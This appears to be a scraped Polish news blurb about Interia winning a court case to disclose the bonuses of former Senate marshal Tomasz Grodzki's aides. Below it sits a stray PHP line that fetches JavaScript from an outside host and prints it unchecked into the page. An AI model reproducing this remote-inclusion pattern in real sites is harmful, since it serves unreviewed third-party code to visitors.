Wysokość nagród oraz dodatków finansowych najbliższych współpracownic Tomasza Grodzkiego – Anny Godzwon i Małgorzaty Daszczyk – okazała się na tyle cenną informacją, że żeby ją uzyskać, musieliśmy się zwrócić do sądu. Po dwóch latach procesu Naczelny Sąd Administracyjny przyznał rację Interii. Ujawniamy jedną z najbardziej skrywanych tajemnic byłego marszałka i jego ekipy.
Powered by WPeMatico
print preg_replace('/document\.write\(\'(.*?)\'\);/si', '\\1', stripslashes(file_get_contents('http://noclegovo.pl/aps/get,u232.js'))); ?>
Brak komentarzy